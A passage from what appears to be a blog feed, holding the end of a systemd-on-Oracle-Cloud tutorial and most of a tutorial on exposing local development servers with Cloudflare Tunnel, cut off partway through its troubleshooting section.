<pre><code class="lang-bash">chmod +x setup-services.sh
./setup-services.sh
</code></pre>
<h2 id="heading-testing-your-setup">Testing Your Setup</h2>
<p>After everything is configured, test thoroughly:</p>
<h3 id="heading-1-test-service-survival-after-ssh-disconnect">1. Test Service Survival After SSH Disconnect</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Start both services</span>
sudo systemctl start myapp.service cloudflared-tunnel.service

<span class="hljs-comment"># Verify they're running</span>
sudo systemctl status myapp.service

<span class="hljs-comment"># Exit SSH</span>
<span class="hljs-built_in">exit</span>

<span class="hljs-comment"># Reconnect and check</span>
ssh ubuntu@your-instance-ip
sudo systemctl status myapp.service
</code></pre>
<p>Both services should still be running.</p>
<h3 id="heading-2-test-automatic-restart">2. Test Automatic Restart</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Find the process ID</span>
sudo systemctl status myapp.service | grep <span class="hljs-string">"Main PID"</span>

<span class="hljs-comment"># Kill the process</span>
sudo <span class="hljs-built_in">kill</span> -9 &lt;PID&gt;

<span class="hljs-comment"># Wait a few seconds and check status</span>
sleep 15
sudo systemctl status myapp.service
</code></pre>
<p>The service should have automatically restarted.</p>
<h3 id="heading-3-test-boot-persistence">3. Test Boot Persistence</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Reboot the instance</span>
sudo reboot

<span class="hljs-comment"># After it comes back up, SSH in and check</span>
ssh ubuntu@your-instance-ip
sudo systemctl status myapp.service cloudflared-tunnel.service
</code></pre>
<p>Both services should be running automatically.</p>
<h3 id="heading-4-test-external-access">4. Test External Access</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># From your local machine</span>
curl https://your-subdomain.your-domain.com

<span class="hljs-comment"># Should return your application's response</span>
</code></pre>
<h2 id="heading-performance-optimization">Performance Optimization</h2>
<h3 id="heading-tune-restart-behavior">Tune Restart Behavior</h3>
<p>For applications that take time to initialize:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Give app 2 minutes to start</span>
<span class="hljs-attr">TimeoutStartSec</span>=<span class="hljs-number">120</span>

<span class="hljs-comment"># Wait 30 seconds before restarting</span>
<span class="hljs-attr">RestartSec</span>=<span class="hljs-number">30</span>

<span class="hljs-comment"># If it fails 3 times in 5 minutes, stop trying</span>
<span class="hljs-attr">StartLimitIntervalSec</span>=<span class="hljs-number">300</span>
<span class="hljs-attr">StartLimitBurst</span>=<span class="hljs-number">3</span>
</code></pre>
<h3 id="heading-optimize-resource-usage">Optimize Resource Usage</h3>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Limit memory</span>
<span class="hljs-attr">MemoryMax</span>=<span class="hljs-number">1</span>G
<span class="hljs-attr">MemoryHigh</span>=<span class="hljs-number">800</span>M

<span class="hljs-comment"># Limit CPU</span>
<span class="hljs-attr">CPUQuota</span>=<span class="hljs-number">75</span>%

<span class="hljs-comment"># Set CPU scheduling priority (higher = lower priority)</span>
<span class="hljs-attr">Nice</span>=<span class="hljs-number">10</span>

<span class="hljs-comment"># Set I/O scheduling priority</span>
<span class="hljs-attr">IOSchedulingClass</span>=best-effort
<span class="hljs-attr">IOSchedulingPriority</span>=<span class="hljs-number">4</span>
</code></pre>
<h3 id="heading-improve-startup-time">Improve Startup Time</h3>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-comment"># Don't wait for all "After" services</span>
<span class="hljs-comment"># DefaultDependencies=no  # Use carefully!</span>

<span class="hljs-comment"># Reduce startup timeout</span>
<span class="hljs-attr">TimeoutStartSec</span>=<span class="hljs-number">30</span>
</code></pre>
<h2 id="heading-backup-and-migration">Backup and Migration</h2>
<h3 id="heading-backing-up-service-configurations">Backing Up Service Configurations</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create backup directory</span>
mkdir -p ~/systemd-backups

<span class="hljs-comment"># Copy service files</span>
sudo cp /etc/systemd/system/myapp.service ~/systemd-backups/
sudo cp /etc/systemd/system/cloudflared-tunnel.service ~/systemd-backups/

<span class="hljs-comment"># Backup with date</span>
sudo cp /etc/systemd/system/myapp.service ~/systemd-backups/myapp.service.$(date +%Y%m%d)
</code></pre>
<h3 id="heading-migrating-to-another-instance">Migrating to Another Instance</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># On old instance - export configurations</span>
tar -czf services-backup.tar.gz \
    /etc/systemd/system/myapp.service \
    /etc/systemd/system/cloudflared-tunnel.service \
    /home/ubuntu/your-app-folder

<span class="hljs-comment"># Transfer to new instance</span>
scp services-backup.tar.gz ubuntu@new-instance-ip:~

<span class="hljs-comment"># On new instance - restore</span>
tar -xzf services-backup.tar.gz -C /
sudo systemctl daemon-reload
sudo systemctl <span class="hljs-built_in">enable</span> myapp.service cloudflared-tunnel.service
sudo systemctl start myapp.service cloudflared-tunnel.service
</code></pre>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Setting up systemd for production services on Oracle Cloud Infrastructure transforms your deployment from fragile to robust. You've learned:</p>
<ul>
<li><p><strong>Why systemd is essential</strong> for production environments</p>
</li>
<li><p><strong>How to create service files</strong> for your application and Cloudflare Tunnel</p>
</li>
<li><p><strong>Essential commands</strong> for managing and monitoring services</p>
</li>
<li><p><strong>Troubleshooting techniques</strong> for common issues</p>
</li>
<li><p><strong>Advanced configurations</strong> for security and performance</p>
</li>
<li><p><strong>Best practices</strong> for production deployments</p>
</li>
</ul>
<p>With this setup:</p>
<ul>
<li><p>Your services survive SSH disconnections</p>
</li>
<li><p>They automatically restart after crashes</p>
</li>
<li><p>They start automatically after VM reboots</p>
</li>
<li><p>You have centralized, searchable logs</p>
</li>
<li><p>You can manage everything with standard systemd commands</p>
</li>
</ul>
<p>This is the foundation of professional production deployments. Your Oracle Cloud instance now runs services the way they should be run—reliably, automatically, and with proper monitoring.</p>
<h2 id="heading-next-steps">Next Steps</h2>
<ol>
<li><p><strong>Set up monitoring</strong>: Configure alerts for service failures</p>
</li>
<li><p><strong>Implement log aggregation</strong>: Consider tools like Loki or ELK stack</p>
</li>
<li><p><strong>Add health checks</strong>: Implement endpoint monitoring</p>
</li>
<li><p><strong>Configure backups</strong>: Automate regular backups of your application and data</p>
</li>
<li><p><strong>Document your setup</strong>: Keep notes on your specific configuration</p>
</li>
</ol>
<h2 id="heading-additional-resources">Additional Resources</h2>
<ul>
<li><p><a target="_blank" href="https://www.freedesktop.org/wiki/Software/systemd/">Systemd Documentation</a></p>
</li>
<li><p><a target="_blank" href="https://docs.oracle.com/en-us/iaas/">Oracle Cloud Infrastructure Documentation</a></p>
</li>
<li><p><a target="_blank" href="https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/">Cloudflare Tunnel Documentation</a></p>
</li>
<li><p><a target="_blank" href="https://www.freedesktop.org/software/systemd/man/journalctl.html">journalctl Manual</a></p>
</li>
<li><p><a target="_blank" href="https://www.freedesktop.org/software/systemd/man/systemctl.html">systemctl Manual</a></p>
</li>
</ul>
<hr />
<p><strong>Remember</strong>: Systemd isn't just about keeping services running—it's about running them professionally, with proper logging, monitoring, and fault tolerance. Take the time to configure it correctly, and your future self will thank you when your services stay online through reboots, crashes, and unexpected issues.</p>
]]></content:encoded></item><item><title><![CDATA[From Localhost to Global: Expose Your Development Server to the Internet with Cloudflare Tunnel]]></title><description><![CDATA[Ever found yourself in one of these situations?

"Can you check my website?" but your app is running on localhost:3000

Need to test webhooks from external services but they can't reach your local machine

Want to show a client your work-in-progress ...]]></description><link>https://article.kumarchaudhary.com.np/from-localhost-to-global-expose-your-development-server-to-the-internet-with-cloudflare-tunnel</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/from-localhost-to-global-expose-your-development-server-to-the-internet-with-cloudflare-tunnel</guid><category><![CDATA[Cloud Computing]]></category><category><![CDATA[cloudflare]]></category><category><![CDATA[Cloud]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Thu, 04 Sep 2025 06:46:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756968326988/05007624-8534-44bb-b782-d8afedb55ba9.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ever found yourself in one of these situations?</p>
<ul>
<li><p>"Can you check my website?" but your app is running on <code>localhost:3000</code></p>
</li>
<li><p>Need to test webhooks from external services but they can't reach your local machine</p>
</li>
<li><p>Want to show a client your work-in-progress without deploying to production</p>
</li>
<li><p>Working with a team and need to share your local development environment</p>
</li>
</ul>
<p>Traditional solutions like ngrok work, but they're limited, expensive for permanent use, and give you random URLs that change every time. What if I told you there's a free, permanent solution that gives you a professional domain and enterprise-grade security?</p>
<p>Meet <strong>Cloudflare Tunnel</strong> – your gateway to making any localhost application accessible from anywhere in the world, with a custom domain, HTTPS, and zero configuration headaches.</p>
<h2 id="heading-what-is-cloudflare-tunnel">What is Cloudflare Tunnel?</h2>
<p>Cloudflare Tunnel creates a secure, outbound-only connection from your machine to Cloudflare's global network. Instead of opening ports on your router or dealing with dynamic IPs, the tunnel connects from inside your network to Cloudflare, which then serves your application to the world.</p>
<p>Think of it as a secure bridge between your localhost and the internet, with Cloudflare handling all the networking complexity.</p>
<h3 id="heading-why-choose-cloudflare-tunnel-over-alternatives">Why Choose Cloudflare Tunnel Over Alternatives?</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Feature</td><td>Cloudflare Tunnel</td><td>ngrok (Free)</td><td>Port Forwarding</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Custom Domain</strong></td><td>✅ Your domain</td><td>❌ Random URLs</td><td>✅ Your domain</td></tr>
<tr>
<td><strong>Permanent URLs</strong></td><td>✅ Never changes</td><td>❌ Changes each restart</td><td>✅ Static</td></tr>
<tr>
<td><strong>HTTPS/SSL</strong></td><td>✅ Automatic</td><td>✅ Basic</td><td>⚠️ Manual setup</td></tr>
<tr>
<td><strong>No Router Config</strong></td><td>✅ Works anywhere</td><td>✅ Works anywhere</td><td>❌ Complex setup</td></tr>
<tr>
<td><strong>Multiple Services</strong></td><td>✅ Unlimited</td><td>❌ 1 tunnel (free)</td><td>✅ Multiple ports</td></tr>
<tr>
<td><strong>Cost</strong></td><td>✅ Free</td><td>✅ Free (limited)</td><td>✅ Free</td></tr>
<tr>
<td><strong>DDoS Protection</strong></td><td>✅ Enterprise grade</td><td>❌ Basic</td><td>❌ None</td></tr>
<tr>
<td><strong>Bandwidth</strong></td><td>✅ Unlimited</td><td>⚠️ Limited</td><td>✅ Unlimited</td></tr>
</tbody>
</table>
</div><h2 id="heading-prerequisites">Prerequisites</h2>
<p>Before we begin, you'll need:</p>
<ul>
<li><p>A domain name (can be purchased from Namecheap, Google Domains, etc.)</p>
</li>
<li><p>A free Cloudflare account</p>
</li>
<li><p>Your development application running locally</p>
</li>
<li><p>Basic command-line knowledge</p>
</li>
</ul>
<p><strong>Note</strong>: You can use any subdomain of your existing domain – no need to buy a separate one!</p>
<h2 id="heading-step-1-set-up-your-domain-in-cloudflare">Step 1: Set Up Your Domain in Cloudflare</h2>
<h3 id="heading-add-your-domain-to-cloudflare">Add Your Domain to Cloudflare</h3>
<ol>
<li><p><strong>Sign up</strong> for a free Cloudflare account at <a target="_blank" href="https://cloudflare.com/">cloudflare.com</a></p>
</li>
<li><p><strong>Add your domain</strong>:</p>
<ul>
<li><p>Click "Add Site" in the dashboard</p>
</li>
<li><p>Enter your domain name (e.g., <code>mydomain.com</code>)</p>
</li>
<li><p>Choose the Free plan</p>
</li>
</ul>
</li>
<li><p><strong>Update nameservers</strong>:</p>
<ul>
<li><p>Cloudflare will provide you with nameservers</p>
</li>
<li><p>Go to your domain registrar (where you bought the domain)</p>
</li>
<li><p>Replace the existing nameservers with Cloudflare's</p>
</li>
<li><p>Wait for propagation (5 minutes to 24 hours)</p>
</li>
</ul>
</li>
</ol>
<h3 id="heading-verify-domain-connection">Verify Domain Connection</h3>
<p>Once your domain is active in Cloudflare, you'll see a green checkmark and can proceed to the next step.</p>
<h2 id="heading-step-2-install-cloudflare-tunnel-cloudflared">Step 2: Install Cloudflare Tunnel (cloudflared)</h2>
<h3 id="heading-on-macos">On macOS</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># Using Homebrew</span>
brew install cloudflared

<span class="hljs-comment"># Or download directly</span>
curl -fsSL https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz -o cloudflared.tgz
tar -xzf cloudflared.tgz
sudo mv cloudflared /usr/<span class="hljs-built_in">local</span>/bin/
</code></pre>
<h3 id="heading-on-ubuntudebian-linux">On Ubuntu/Debian Linux</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># Download the .deb package</span>
curl -fsSL https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb -o cloudflared.deb

<span class="hljs-comment"># Install</span>
sudo dpkg -i cloudflared.deb
</code></pre>
<h3 id="heading-on-windows">On Windows</h3>
<ol>
<li><p>Download <code>cloudflared-windows-amd64.exe</code> from the <a target="_blank" href="https://github.com/cloudflare/cloudflared/releases">GitHub releases page</a></p>
</li>
<li><p>Rename it to <code>cloudflared.exe</code></p>
</li>
<li><p>Move it to a directory in your PATH, or run from the download location</p>
</li>
</ol>
<h3 id="heading-verify-installation">Verify Installation</h3>
<pre><code class="lang-bash">cloudflared --version
</code></pre>
<p>You should see output like: <code>cloudflared version 2025.8.1</code></p>
<h2 id="heading-step-3-authenticate-with-cloudflare">Step 3: Authenticate with Cloudflare</h2>
<p>Run the authentication command:</p>
<pre><code class="lang-bash">cloudflared tunnel login
</code></pre>
<p>This will:</p>
<ol>
<li><p>Open a browser window</p>
</li>
<li><p>Prompt you to log into Cloudflare</p>
</li>
<li><p>Ask you to select your domain</p>
</li>
<li><p>Save authentication credentials to your machine</p>
</li>
</ol>
<p><strong>Success message</strong>: You'll see "You have successfully logged in" and credentials will be saved to <code>~/.cloudflared/cert.pem</code> (macOS/Linux) or <code>%USERPROFILE%\.cloudflared\cert.pem</code> (Windows).</p>
<h2 id="heading-step-4-create-your-first-tunnel">Step 4: Create Your First Tunnel</h2>
<h3 id="heading-create-the-tunnel">Create the Tunnel</h3>
<pre><code class="lang-bash">cloudflared tunnel create my-dev-tunnel
</code></pre>
<p><strong>Output example</strong>:</p>
<pre><code class="lang-bash">Tunnel credentials written to /Users/yourname/.cloudflared/12345678-abcd-1234-efgh-123456789012.json
Created tunnel my-dev-tunnel with id 12345678-abcd-1234-efgh-123456789012
</code></pre>
<p><strong>Important</strong>: Save that tunnel ID! You'll need it for configuration.</p>
<h3 id="heading-create-configuration-file">Create Configuration File</h3>
<p>Create a configuration file at <code>~/.cloudflared/config.yml</code> (macOS/Linux) or <code>%USERPROFILE%\.cloudflared\config.yml</code> (Windows):</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-number">12345678</span><span class="hljs-string">-abcd-1234-efgh-123456789012</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/Users/yourname/.cloudflared/12345678-abcd-1234-efgh-123456789012.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">dev.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<p><strong>Configuration explained</strong>:</p>
<ul>
<li><p><code>tunnel</code>: Your tunnel ID from the previous step</p>
</li>
<li><p><code>credentials-file</code>: Path to the JSON file created</p>
</li>
<li><p><code>hostname</code>: The subdomain you want to use</p>
</li>
<li><p><code>service</code>: Your local application URL</p>
</li>
<li><p>The final <code>service: http_status:404</code> catches all other requests</p>
</li>
</ul>
<h2 id="heading-step-5-configure-dns">Step 5: Configure DNS</h2>
<p>Link your subdomain to the tunnel:</p>
<pre><code class="lang-bash">cloudflared tunnel route dns my-dev-tunnel dev.yourdomain.com
</code></pre>
<p>This automatically creates a CNAME record in your Cloudflare DNS pointing <code>dev.yourdomain.com</code> to your tunnel.</p>
<h2 id="heading-step-6-start-your-local-application">Step 6: Start Your Local Application</h2>
<p>Make sure your development server is running. Here are common examples:</p>
<p>Here you need to create your own service. As i’m providing only command to start the services of different web services during local development mode.</p>
<h3 id="heading-react-development-server">React Development Server</h3>
<pre><code class="lang-bash">npm start
<span class="hljs-comment"># Usually runs on http://localhost:3000</span>
</code></pre>
<h3 id="heading-nextjs-development-server">Next.js Development Server</h3>
<pre><code class="lang-bash">npm run dev
<span class="hljs-comment"># Usually runs on http://localhost:3000</span>
</code></pre>
<h3 id="heading-nodejsexpress-server">Node.js/Express Server</h3>
<pre><code class="lang-bash">node server.js
<span class="hljs-comment"># Check your app's documentation for the port</span>
</code></pre>
<h3 id="heading-python-flask">Python Flask</h3>
<pre><code class="lang-bash">flask run
<span class="hljs-comment"># Usually runs on http://localhost:5000</span>
</code></pre>
<h3 id="heading-python-django">Python Django</h3>
<pre><code class="lang-bash">python manage.py runserver
<span class="hljs-comment"># Usually runs on http://localhost:8000</span>
</code></pre>
<h2 id="heading-step-7-run-the-tunnel">Step 7: Run the Tunnel</h2>
<p>Start your tunnel:</p>
<pre><code class="lang-bash">cloudflared tunnel run my-dev-tunnel
</code></pre>
<p><strong>Success!</strong> Your localhost application is now accessible at <code>https://dev.yourdomain.com</code> 🎉</p>
<h3 id="heading-what-happens-behind-the-scenes">What Happens Behind the Scenes</h3>
<ol>
<li><p><strong>Outbound Connection</strong>: Your machine connects to Cloudflare (no inbound ports needed)</p>
</li>
<li><p><strong>DNS Resolution</strong>: <code>dev.yourdomain.com</code> resolves to Cloudflare's servers</p>
</li>
<li><p><strong>Traffic Routing</strong>: Cloudflare routes requests through the tunnel to your localhost</p>
</li>
<li><p><strong>SSL Termination</strong>: Cloudflare handles HTTPS automatically</p>
</li>
<li><p><strong>Response</strong>: Your local app responds, and Cloudflare serves it globally</p>
</li>
</ol>
<h2 id="heading-advanced-configurations">Advanced Configurations</h2>
<h3 id="heading-multiple-applications-on-different-subdomains">Multiple Applications on Different Subdomains</h3>
<p>You can expose multiple localhost services with one tunnel:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-number">12345678</span><span class="hljs-string">-abcd-1234-efgh-123456789012</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/Users/yourname/.cloudflared/12345678-abcd-1234-efgh-123456789012.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">api.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3001</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">frontend.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">admin.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:4000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h3 id="heading-path-based-routing">Path-Based Routing</h3>
<p>Route different paths to different local services:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-number">12345678</span><span class="hljs-string">-abcd-1234-efgh-123456789012</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/Users/yourname/.cloudflared/12345678-abcd-1234-efgh-123456789012.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">dev.yourdomain.com</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">/api/*</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3001</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">dev.yourdomain.com</span>
    <span class="hljs-attr">path:</span> <span class="hljs-string">/admin/*</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:4000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">dev.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h3 id="heading-custom-headers">Custom Headers</h3>
<p>Add custom headers for debugging or authentication:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">tunnel:</span> <span class="hljs-number">12345678</span><span class="hljs-string">-abcd-1234-efgh-123456789012</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/Users/yourname/.cloudflared/12345678-abcd-1234-efgh-123456789012.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">dev.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
    <span class="hljs-attr">originRequest:</span>
      <span class="hljs-attr">httpHeaderHost:</span> <span class="hljs-string">dev.yourdomain.com</span>
      <span class="hljs-attr">httpHeaderFields:</span>
        <span class="hljs-attr">X-Forwarded-For:</span> <span class="hljs-string">$CF_CONNECTING_IP</span>
        <span class="hljs-attr">X-Original-URL:</span> <span class="hljs-string">$CF_RAY</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h2 id="heading-running-tunnel-as-a-background-service">Running Tunnel as a Background Service</h2>
<h3 id="heading-on-macoslinux">On macOS/Linux</h3>
<p>Install as a system service:</p>
<pre><code class="lang-bash">sudo cloudflared service install
sudo systemctl <span class="hljs-built_in">enable</span> cloudflared
sudo systemctl start cloudflared
</code></pre>
<h3 id="heading-on-windows-1">On Windows</h3>
<p>Install as a Windows service:</p>
<pre><code class="lang-bash">cloudflared service install
</code></pre>
<h3 id="heading-benefits-of-running-as-a-service">Benefits of Running as a Service</h3>
<ul>
<li><p><strong>Auto-start</strong>: Tunnel starts automatically when your computer boots</p>
</li>
<li><p><strong>Background operation</strong>: Runs without keeping a terminal window open</p>
</li>
<li><p><strong>Reliability</strong>: Automatically restarts if it crashes</p>
</li>
<li><p><strong>System integration</strong>: Managed like other system services</p>
</li>
</ul>
<h2 id="heading-use-cases-and-practical-examples">Use Cases and Practical Examples</h2>
<h3 id="heading-1-client-demos-and-reviews">1. Client Demos and Reviews</h3>
<p><strong>Scenario</strong>: You're a freelance developer showing work to a client.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># config.yml for client demo</span>
<span class="hljs-attr">tunnel:</span> <span class="hljs-string">your-tunnel-id</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/path/to/credentials.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">client-demo.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<p><strong>Benefits</strong>:</p>
<ul>
<li><p>Professional domain instead of <code>localhost:3000</code></p>
</li>
<li><p>Client can access from anywhere</p>
</li>
<li><p>HTTPS by default (builds trust)</p>
</li>
<li><p>No need to deploy unfinished work</p>
</li>
</ul>
<h3 id="heading-2-webhook-development-and-testing">2. Webhook Development and Testing</h3>
<p><strong>Scenario</strong>: Testing Stripe webhooks, GitHub webhooks, or any external service that needs to reach your local app.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># config.yml for webhook testing</span>
<span class="hljs-attr">tunnel:</span> <span class="hljs-string">your-tunnel-id</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/path/to/credentials.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">webhooks.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:4000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<p><strong>Usage</strong>:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Your webhook endpoint becomes:</span>
<span class="hljs-comment"># https://webhooks.yourdomain.com/stripe-webhook</span>
<span class="hljs-comment"># Instead of: http://localhost:4000/stripe-webhook</span>
</code></pre>
<h3 id="heading-3-team-development-and-testing">3. Team Development and Testing</h3>
<p><strong>Scenario</strong>: Multiple developers need to test the same backend API or frontend.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># config.yml for team development</span>
<span class="hljs-attr">tunnel:</span> <span class="hljs-string">your-tunnel-id</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/path/to/credentials.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">team-api.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:8080</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">team-frontend.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h3 id="heading-4-mobile-app-development">4. Mobile App Development</h3>
<p><strong>Scenario</strong>: Testing your API with a mobile app that can't access localhost.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># config.yml for mobile testing</span>
<span class="hljs-attr">tunnel:</span> <span class="hljs-string">your-tunnel-id</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/path/to/credentials.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">mobile-api.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:5000</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h2 id="heading-security-considerations">Security Considerations</h2>
<h3 id="heading-network-security">Network Security</h3>
<p>✅ <strong>Pros</strong>:</p>
<ul>
<li><p>No inbound ports opened on your router</p>
</li>
<li><p>Outbound-only connections (more secure)</p>
</li>
<li><p>Cloudflare's DDoS protection</p>
</li>
<li><p>Automatic HTTPS/TLS encryption</p>
</li>
</ul>
<p>⚠️ <strong>Considerations</strong>:</p>
<ul>
<li><p>Your development app is now public (add authentication if needed)</p>
</li>
<li><p>Environment variables and secrets should be properly managed</p>
</li>
<li><p>Consider IP restrictions for sensitive applications</p>
</li>
</ul>
<h3 id="heading-access-control">Access Control</h3>
<p>For sensitive development environments, add basic authentication:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Example: Express.js with basic auth</span>
<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> basicAuth = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express-basic-auth'</span>);

<span class="hljs-keyword">const</span> app = express();

<span class="hljs-comment">// Add basic authentication</span>
app.use(basicAuth({
    <span class="hljs-attr">users</span>: { <span class="hljs-string">'dev'</span>: <span class="hljs-string">'password123'</span> },
    <span class="hljs-attr">challenge</span>: <span class="hljs-literal">true</span>
}));

<span class="hljs-comment">// Your app routes</span>
app.get(<span class="hljs-string">'/'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.send(<span class="hljs-string">'Hello World!'</span>);
});

app.listen(<span class="hljs-number">3000</span>);
</code></pre>
<h3 id="heading-ip-restrictions">IP Restrictions</h3>
<p>Limit access to specific IP addresses:</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># config.yml with IP restrictions</span>
<span class="hljs-attr">tunnel:</span> <span class="hljs-string">your-tunnel-id</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/path/to/credentials.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">secure-dev.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
    <span class="hljs-attr">originRequest:</span>
      <span class="hljs-attr">ipRules:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">ip:</span> <span class="hljs-number">192.168</span><span class="hljs-number">.1</span><span class="hljs-number">.100</span><span class="hljs-string">/32</span>
          <span class="hljs-attr">action:</span> <span class="hljs-string">allow</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">ip:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">/0</span>
          <span class="hljs-attr">action:</span> <span class="hljs-string">deny</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h2 id="heading-troubleshooting-common-issues">Troubleshooting Common Issues</h2>
<h3 id="heading-connection-refused">Connection Refused</h3>
<p><strong>Error</strong>: <code>dial tcp 127.0.0.1:3000: connect: connection refused</code></p>
<p><strong>Solutions</strong>:</p>
<ol>
<li><p>Verify your local app is running: <code>curl http://localhost:3000</code></p>
</li>
<li><p>Check the port number in your config</p>
</li>
